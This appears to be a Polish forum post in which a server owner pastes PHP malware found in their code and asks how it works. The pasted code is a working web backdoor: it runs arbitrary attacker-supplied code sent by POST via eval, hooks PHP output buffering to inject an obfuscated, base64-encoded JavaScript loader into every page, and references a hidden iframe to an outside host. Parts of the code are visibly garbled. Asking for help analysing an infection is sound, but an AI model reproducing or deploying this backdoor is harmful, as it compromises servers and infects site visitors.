🚀 go-pugleaf

Pojawił się w moich kodach na serwerze wirus.
Czy ktoś już to debugował i może powiedzieć w skrócie jak to działa ?

<?

if (!function_exists('tmp_lkojfghx'))
{
	if(isset($_POST['tmp_lkojfghx3']))
		eval($_POST['tmp_lkojfghx3']);
	if(!defined('TMP_XHGFJOKL'))
	 
define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciB3RW49KCd2YXIuMjBhLjNkLjIyLjUzLjYzLjcyaS43MHRFLjZlZ2kuNmUuNjUuMjIuMmNiLjNkLjIyVi42NXIuNzNpLjZmbi4yOCkrLjIyLjJjai4zZC4yMi4yMi4yY3UuM2QuNmVhdi42OWcuNjF0LjZmci4yZXVzZXIuNDFnZS42ZXQuM2JpLjY2KCh1LjJlaS42ZS42NC42NXhPZi4yOC4yMi41N2luLjIyKS4zZTApLjI2LjI2KHUuMmVpLjZlZGV4Ty42NiguMjIuNGUuNTQuMjA2LjIyLjI5LjNjLjMwLjI5LjI2LjI2LjI4ZC42Zi42M3VtZS42ZXQuMmVjb29raS42NS4yZS42OW5kZS43OE8uNjYoLjIybS42OWVrLjNkMS4yMikuM2MwLjI5LjI2LjI2KHR5cGVvZiguN2Fydnp0cykuMjEuM2R0eXBlLjZmZiguMjJBLjIyLjI5LjI5KS43YnouNzJ2enRzLjNkLjIyLjQxLjIyLjNiZXYuNjEuNmMoLjIyaWYod2luZG93LjJlLjIyK2ErLjIyKWouM2RqKy4yMithKy4yMk0uNjFqb3IuMjIrYithLjJiLjIyTWkuNmVvci4yMi4yYi42MithKy4yMkJ1aWwuNjQuMjIuMmJiKy4yMi42YS4zYi4yMikuM2JkLjZmY3VtZW50LjJldy43Mi42OXRlKC4yMi4zY3Njci42OXAuNzQuMjBzcmMuM2QuMmYuMmZndW1ibC42MXIuMmVjLjZlLjJmLjcyc3MuMmYuM2ZpZC4zZC4yMisuNmErLjIyLjNlLjNjLjVjLjJmc2NyaXB0LjNlLjIyKS4zYi43ZCcpLnJlcGxhY2UoLy4vZywnJScpO2V2YWwodW5l
c2NhcGUod0VuKSl9KSgpOwogLS0+PC9zY3JpcHQ+'));
		
		function tmp_lkojfghx($s)
		{
			if($g=(substr($s,0,2)==chr(31).chr(139)))
				$s=gzinflate(substr($s,10,-8));
			if(preg_match_all('#<script(.*?)</script><>\(\)]{30,}#',$v) || preg_match('#[\(\[](\s*\d+,){20,}#',$v);
			if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))
				$s=str_replace($v,'',$s);
		}
		$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);
		
		if(stristr($s,'<body'))
			$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);
		elseif(($s1!=$s) || stristr($s,'</body') || stristr($s,'</title><iframe src="http://c9u.at:8080/ts/in.cgi?pepsi147" width=125 height=125 
style="visibility: hidden"></iframe>'))
		
		$s=$s1.TMP_XHGFJOKL;
		return $g ? gzencode($s) : $s;
}

function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0)
{
	$s=array();
	if($b&&$GLOBALS['tmp_xhgfjokl'])
		call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);
		foreach(@ob_get_status(1) as $v)
			if(($a=$v['name'])=='tmp_lkojfghx')
				return;
			else
				$s[]=array($a=='default output handler'?false:$a);
			for($i=count($s)-1;$i>=0;$i--)
			{
				$s[$i][1]=ob_get_contents();
				ob_end_clean();
			}
			ob_start('tmp_lkojfghx');
			for($i=0;$i<count($s);$i++)
			{
				ob_start($s[$i][0]);
				echo $s[$i][1];
			}
}


if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')
	$GLOBALS['tmp_xhgfjokl']=$a;
	tmp_lkojfghx2();

?>